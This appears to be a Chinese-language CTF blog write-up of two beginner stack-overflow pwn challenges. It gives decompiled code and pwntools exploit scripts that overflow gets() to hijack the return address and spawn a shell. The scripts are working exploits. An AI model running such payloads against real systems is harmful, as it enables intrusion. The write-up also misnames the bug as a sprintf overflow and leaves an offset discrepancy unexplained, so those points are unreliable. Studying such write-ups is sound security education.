warmup_csaw_2016

查看文件warmup_csaw_2016信息

拖入IDA分析,得到main函数。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-80h]
  char v5; // [rsp+40h] [rbp-40h]

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(&s, "%p\n", sub_40060D);
  write(1, &s, 9uLL);
  write(1, ">", 1uLL);
  return gets(&v5, ">");
}

很明显的sprintf栈溢出漏洞,测试偏移地址。

可以看到rbp已经被输入的内容覆盖了,经过计算,AAdAA3AA是随机字符串AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA的偏移64字节,根据RIP在RBP下方,所以输入64个字符后,接下来的8个字符就会修改RIP的值,控制程序执行流。

在本文件中存在一个函数sub_40060D,可以直接读取flag

所以使用64*a + len(rbp) + address(sub_40060D) 即可读取flag

给出脚本

from pwn import*

sh = process('warmup_csaw_2016')
payload = 'a'*64 + 'b'*8 + p64(0x40060D)
sh.sendline(payload)
sh.interactive()

rip

和上题目类似,也是一个覆盖RIP的题目

查看防护措施

拖入IDA,给出重要函数反编译源码,可以看到需要利用gets()函数获取一个长字符串覆盖rip来控制程序流到fun()函数,达到获取shell的目的。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]

  puts("please input");
  gets(&s, argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}

int fun()
{
  return system("/bin/sh");
}

进行偏移测试


可以看到rbp的值为nAACAA-A,是输入字符串偏移的15,再加上他rbp,所以偏移总共为23

脚本

from pwn import *

io=0

def isDebug(debug):
    global io
    if debug:
        io = process('./pwn1')
    else:
        io = remote('node3.buuoj.cn', 26771)

def pwn():
    offset = 23
    payload = 'A'*offset + p64(0x401186)
    io.sendline(payload)
    io.interactive()

if __name__ == '__main__':
    isDebug(0)
    pwn()

执行

在进行远程测试时,发现打不回来shell,将offset调整为15可以打成功,没搞明白。

发表评论

电子邮件地址不会被公开。 必填项已用*标注